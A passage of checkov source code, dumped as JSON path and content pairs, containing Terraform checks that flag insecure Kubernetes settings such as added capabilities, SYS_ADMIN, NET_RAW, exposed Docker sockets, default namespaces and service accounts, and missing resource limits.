get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = AllowPrivilegeEscalationPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AllowedCapabilities(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.2.8\n        name = \"Minimize the admission of containers with added capability\"\n        # Do not generally permit containers with capabilities assigned beyond the default set\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities\n\n        id = \"CKV_K8S_25\"\n\n        supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if isinstance(spec, dict) and spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"security_context\"):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"capabilities\"):\n                        capabilities = context.get(\"capabilities\")[0]\n                        if isinstance(capabilities, dict) and capabilities.get(\"add\"):\n                            add = capabilities.get(\"add\")[0]\n                            if add:\n                                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/'\n                                                       f'security_context/[0]/capabilities/add']\n\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AllowedCapabilities()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import Any, List\n\n\nclass AllowedCapabilitiesPSP(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.2.8\n        name = \"Do not allow containers with added capability\"\n        # No capabilities may be added beyond the default set\n        # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities\n        # Location: PodSecurityPolicy.spec.allowedCapabilities\n        id = \"CKV_K8S_24\"\n        supported_resources = ['kubernetes_pod_security_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'spec/[0]/allowed_capabilities'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [ANY_VALUE]\n\n\ncheck = AllowedCapabilitiesPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AllowedCapabilitiesSysAdmin(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Do not use the CAP_SYS_ADMIN linux capability\"\n        # This provides the most privilege and is similar to root\n        # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n        id = \"CKV_K8S_39\"\n\n        supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if isinstance(spec, dict) and spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"security_context\") and isinstance(container.get(\"security_context\"), list):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"capabilities\") and isinstance(context.get(\"capabilities\"), list):\n                        capabilities = context.get(\"capabilities\")[0]\n                        if isinstance(capabilities, dict) and capabilities.get(\"add\") and isinstance(capabilities.get(\"add\"), list):\n                            add = capabilities.get(\"add\")[0]\n                            if \"SYS_ADMIN\" in add:\n                                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/'\n                                                       f'security_context/[0]/capabilities/add']\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AllowedCapabilitiesSysAdmin()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/CPULimits.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CPULimits(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"CPU Limits should be set\"\n        id = \"CKV_K8S_11\"\n        supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        containers = spec.get(\"container\")\n        if not containers:\n            return CheckResult.UNKNOWN\n        for idx, container in enumerate(containers):\n            if not isinstance(container, dict):\n                return CheckResult.UNKNOWN\n            if container.get(\"resources\"):\n                resources = container.get(\"resources\")[0]\n                if resources.get('limits'):\n                    limits = resources.get('limits')[0]\n                    if isinstance(limits, dict) and limits.get('cpu'):\n                        return CheckResult.PASSED\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/limits']\n                    return CheckResult.FAILED\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources']\n                return CheckResult.FAILED\n            self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CPULimits()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/CPURequests.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CPURequests(BaseResourceCheck):\n    def __init__(self):\n        name = \"CPU requests should be set\"\n        id = \"CKV_K8S_10\"\n        supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        containers = spec.get(\"container\")\n        if containers is None:\n            return CheckResult.UNKNOWN\n        for idx, container in enumerate(containers):\n            if not isinstance(container, dict):\n                return CheckResult.UNKNOWN\n            if container.get(\"resources\"):\n                resources = container.get(\"resources\")[0]\n                if resources.get('requests'):\n                    limits = resources.get('requests')[0]\n                    if isinstance(limits, dict) and limits.get('cpu'):\n                        return CheckResult.PASSED\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/requests']\n                    return CheckResult.FAILED\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources']\n                return CheckResult.FAILED\n            self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CPURequests()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ContainerSecurityContext(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.7.3\n        name = \"Apply security context to your pods and containers\"\n        # Security context can be set at pod or container level.\n        # Location: container .securityContext\n        id = \"CKV_K8S_30\"\n\n        supported_resources = ['kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if isinstance(spec, dict) and spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if not container.get(\"security_context\"):\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ContainerSecurityContext()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DangerousGitSync(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Do not admit privileged containers\"\n        id = \"CKV_K8S_159\"\n\n        supported_resources = ['kubernetes_pod', \"kubernetes_pod_v1\",\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        evaluated_keys_path = \"spec\"\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"env\"):\n                    for env in container.get(\"env\"):\n                        if env.get(\"name\") == [\"GITSYNC_GIT\"]:\n                            self.evaluated_keys = [\n                                f'{evaluated_keys_path}/[0]/container/[{idx}]/env']\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = DangerousGitSync()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DefaultNamespace(BaseResourceCheck):\n    def __init__(self):\n        # CIS-1.5 5.7.4\n        name = \"The default namespace should not be used\"\n        id = \"CKV_K8S_21\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\",\n                               \"kubernetes_daemonset\", \"kubernetes_daemon_set_v1\",\n                               \"kubernetes_stateful_set\", \"kubernetes_stateful_set_v1\",\n                               \"kubernetes_replication_controller\", \"kubernetes_replication_controller_v1\",\n                               \"kubernetes_job\", \"kubernetes_job_v1\",\n                               \"kubernetes_cron_job\", \"kubernetes_cron_job_v1\",\n                               \"kubernetes_service\", \"kubernetes_service_v1\",\n                               \"kubernetes_secret\", \"kubernetes_secret_v1\",\n                               \"kubernetes_service_account\", \"kubernetes_service_account_v1\",\n                               \"kubernetes_role_binding\", \"kubernetes_role_binding_v1\",\n                               \"kubernetes_config_map\", \"kubernetes_config_map_v1\",\n                               \"kubernetes_ingress\", \"kubernetes_ingress_v1\"]\n\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"metadata\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        metadata = conf.get('metadata')[0]\n        if metadata.get('namespace'):\n            if metadata.get('namespace') == [\"default\"]:\n                self.evaluated_keys = ['metadata/[0]/namespace']\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = DefaultNamespace()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DefaultServiceAccount(BaseResourceCheck):\n    def __init__(self) -> None:\n        # CIS-1.5 5.1.5\n        name = \"Ensure that default service accounts are not actively used\"\n        # Check automountServiceAccountToken in default service account in runtime\n        id = \"CKV_K8S_41\"\n        supported_resources = [\"kubernetes_service_account\", \"kubernetes_service_account_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"metadata\" in conf:\n            if \"name\" in conf[\"metadata\"][0]:\n                metadata = conf[\"metadata\"][0]\n                if metadata[\"name\"] == [\"default\"]:\n                    if \"automount_service_account_token\" in conf:\n                        if conf[\"automount_service_account_token\"] == [False]:\n                            return CheckResult.PASSED\n                    self.evaluated_keys = [\"metadata/[0]/name\"]\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        return CheckResult.PASSED\n\n\ncheck = DefaultServiceAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DefaultServiceAccountBinding(BaseResourceCheck):\n    def __init__(self):\n        # CIS-1.5 5.1.5\n        name = \"Ensure that default service accounts are not actively used\"\n        # Check no role/clusterrole is bound to a default service account (to ensure not actively used)\n        id = \"CKV_K8S_42\"\n        supported_resources = [\"kubernetes_role_binding\", \"kubernetes_role_binding_v1\",\n                               \"kubernetes_cluster_role_binding\", \"kubernetes_cluster_role_binding_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"subject\" in conf:\n            for idx, subject in enumerate(conf[\"subject\"]):\n                if subject[\"kind\"] == [\"ServiceAccount\"]:\n                    if subject[\"name\"] == [\"default\"]:\n                        self.evaluated_keys = [f\"subject/[{idx}]/name\"]\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = DefaultServiceAccountBinding()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DockerSocketVolume(BaseResourceCheck):\n    def __init__(self) -> None:\n        # Exposing the socket gives container information and increases risk of exploit\n        # read-only is not a solution but only makes it harder to exploit.\n        # Location: Pod.spec.volumes[].hostPath.path\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.volumes[].hostPath.path\n        # Location: *.spec.template.spec.volumes[].hostPath.path\n        id = \"CKV_K8S_27\"\n        name = \"Do not expose the docker daemon socket to containers\"\n        supported_resources = (\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\",\n                               \"kubernetes_daemonset\", \"kubernetes_daemon_set_v1\")\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]):\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n\n        spec = conf['spec'][0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        if \"volume\" in spec and spec.get(\"volume\"):\n            volumes = spec.get(\"volume\")\n            for idx, v in enumerate(volumes):\n                if isinstance(v, dict) and v.get(\"host_path\"):\n                    if \"path\" in v[\"host_path\"][0]:\n                        if v[\"host_path\"][0][\"path\"] == [\"/var/run/docker.sock\"]:\n                            self.evaluated_keys = [f\"spec/volume/{idx}/host_path/[0]/path\"]\n                            return CheckResult.FAILED\n        if \"template\" in spec and spec.get(\"template\"):\n            template = spec.get(\"template\")[0]\n            if \"spec\" in template:\n                temp_spec = template.get(\"spec\")[0]\n                if \"volume\" in temp_spec and temp_spec.get(\"volume\"):\n                    volumes = temp_spec.get(\"volume\")\n                    for idx, v in enumerate(volumes):\n                        if isinstance(v, dict) and v.get(\"host_path\"):\n                            if \"path\" in v[\"host_path\"][0]:\n                                if v[\"host_path\"][0][\"path\"] == [\"/var/run/docker.sock\"]:\n                                    self.evaluated_keys = [f\"spec/template/spec/volume/{idx}/host_path/[0]/path\"]\n                                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = DockerSocketVolume()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DropCapabilities.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DropCapabilities(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.7\n        # CIS-1.5 5.2.7\n        # NET_RAW allows a process to spy on packets on its network\n        name = \"Minimize the admission of containers with the NET_RAW capability\"\n        id = \"CKV_K8S_28\"\n\n        supported_resources = ('kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1', )\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        evaluated_keys_path = \"spec\"\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                dropped = False\n                if container.get(\"security_context\") and isinstance(container.get(\"security_context\"), list):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"capabilities\") and isinstance(context.get(\"capabilities\"), list):\n                        capabilities = context.get(\"capabilities\")[0]\n                        if isinstance(capabilities, dict) and capabilities.get(\"drop\") and isinstance(capabilities.get(\"drop\"), list):\n                            drops = capabilities.get(\"drop\")[0]\n                            for drop in drops:\n                                if drop in [\"ALL\", \"NET_RAW\"]:\n                                    dropped = True\n                            if not dropped:\n                                return CheckResult.FAILED\n                        else:\n                            self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/container/{idx}/security_context/[0]/capabilities\"]\n                            return CheckResult.FAILED\n                    else:\n                        self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/container/{idx}/security_context\"]\n                        return CheckResult.FAILED\n                else:\n                    self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/container/{idx}\"]\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = DropCapabilities()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/DropCapabilitiesPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DropCapabilitiesPSP(BaseResourceCheck):\n\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.7\n        # CIS-1.5 5.2.7\n        name = \"Do not admit containers with the NET_RAW capability\"\n        # Location: PodSecurityPolicy.spec.requiredDropCapabilities\n        id = \"CKV_K8S_7\"\n\n        supported_resources = ['kubernetes_pod_security_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get('spec'):\n            self.evaluated_keys = ['spec']\n            spec = conf.get('spec')[0]\n            if not spec:\n                return CheckResult.UNKNOWN\n\n            if spec.get(\"required_drop_capabilities\"):\n                self.evaluated_keys = ['spec/[0]/required_drop_capabilities']\n                drop_cap = spec.get(\"required_drop_capabilities\")[0]\n                if drop_cap and isinstance(drop_cap, list):\n                    if any(cap in drop_cap for cap in (\"ALL\", \"NET_RAW\")):\n                        return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = DropCapabilitiesPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/HostPort.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass HostPort(BaseResourceCheck):\n\n    def __init__(self):\n        \"\"\"\n               https://kubernetes.io/docs/concepts/configuration/overview/\n\n               Don't specify a hostPort for a Pod unless it is absolutely necessary.\n               When you bind a Pod to a hostPort, it limits the number of places the\n               Pod can be scheduled, because each <hostIP, hostPort, protocol> combination\n               must be unique.\n               \"\"\"\n        name = \"Do not specify hostPort unless absolutely necessary\"\n        id = \"CKV_K8S_26\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n\n        spec = conf.get('spec')[0]\n        evaluated_keys_path = \"spec\"\n\n        if spec:\n\n            template = spec.get(\"template\")\n            if template and isinstance(template, list):\n                template = template[0]\n                template_spec = template.get(\"spec\")\n                if template_spec and isinstance(template_spec, list):\n                    spec = template_spec[0]\n                    evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n            containers = spec.get(\"container\")\n            if containers is None:\n                return CheckResult.UNKNOWN\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"port\"):\n                    for idy, port in enumerate(container[\"port\"]):\n                        if \"host_port\" in port:\n                            self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/container/[{idx}]/port/[{idy}]/host_port\"]\n                            return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = HostPort()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ImageDigest.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ImageDigest(BaseResourceCheck):\n\n    def __init__(self):\n        \"\"\"\n         The image specification should use a digest instead of a tag to make sure the container always uses the same\n         version of the image.\n         https://kubernetes.io/docs/concepts/configuration/overview/#container-images\n\n         An admission controller could be used to enforce the use of image digest\n         \"\"\"\n        name = \"Image should use digest\"\n        id = \"CKV_K8S_43\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if spec:\n            evaluated_keys_path = \"spec\"\n\n            template = spec.get(\"template\")\n            if template and isinstance(template, list):\n                template = template[0]\n                template_spec = template.get(\"spec\")\n                if template_spec and isinstance(template_spec, list):\n                    spec = template_spec[0]\n                    evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n            containers = spec.get(\"container\")\n            if containers is None:\n                return CheckResult.UNKNOWN\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"image\") and isinstance(container.get(\"image\"), list):\n                    name = container.get(\"image\")[0]\n                    if \"@\" not in name:\n                        self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image']\n                        return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ImageDigest()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ImagePullPolicyAlways(BaseResourceCheck):\n\n    def __init__(self):\n        \"\"\"\n        Image pull policy should be set to always to ensure you get the correct image and imagePullSecrets are correct\n        Default is 'IfNotPresent' unless image tag/digest is omitted or :latest\n        https://kubernetes.io/docs/concepts/configuration/overview/#container-images\n\n        An admission controller could be used to enforce imagePullPolicy\n        \"\"\"\n        name = \"Image Pull Policy should be Always\"\n        id = \"CKV_K8S_15\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if isinstance(spec, dict) and spec:\n            evaluated_keys_path = \"spec\"\n\n            template = spec.get(\"template\")\n            if template and isinstance(template, list):\n                template = template[0]\n                template_spec = template.get(\"spec\")\n                if template_spec and isinstance(template_spec, list):\n                    spec = template_spec[0]\n                    evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n            containers = spec.get(\"container\")\n            if containers is None:\n                return CheckResult.UNKNOWN\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n\n                if container.get(\"image_pull_policy\"):\n                    if container.get(\"image_pull_policy\")[0] == \"Always\":\n                        break\n                else:\n                    if container.get(\"image\"):\n                        name = container.get(\"image\")[0]\n                        if \"latest\" in name:\n                            break\n                        if \"@\" in name:\n                            break\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ImagePullPolicyAlways()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ImageTagFixed.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ImageTagFixed(BaseResourceCheck):\n\n    def __init__(self):\n        \"\"\"\n         You should avoid using the :latest tag when deploying containers in production\n         as it is harder to track which version of the image is running\n         and more difficult to roll back properly.\n         \"\"\"\n        name = \"Image Tag should be fixed - not latest or blank\"\n        id = \"CKV_K8S_14\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if isinstance(spec, dict) and spec:\n            evaluated_keys_path = \"spec\"\n\n            template = spec.get(\"template\")\n            if template and isinstance(template, list):\n                template = template[0]\n                template_spec = template.get(\"spec\")\n                if template_spec and isinstance(template_spec, list):\n                    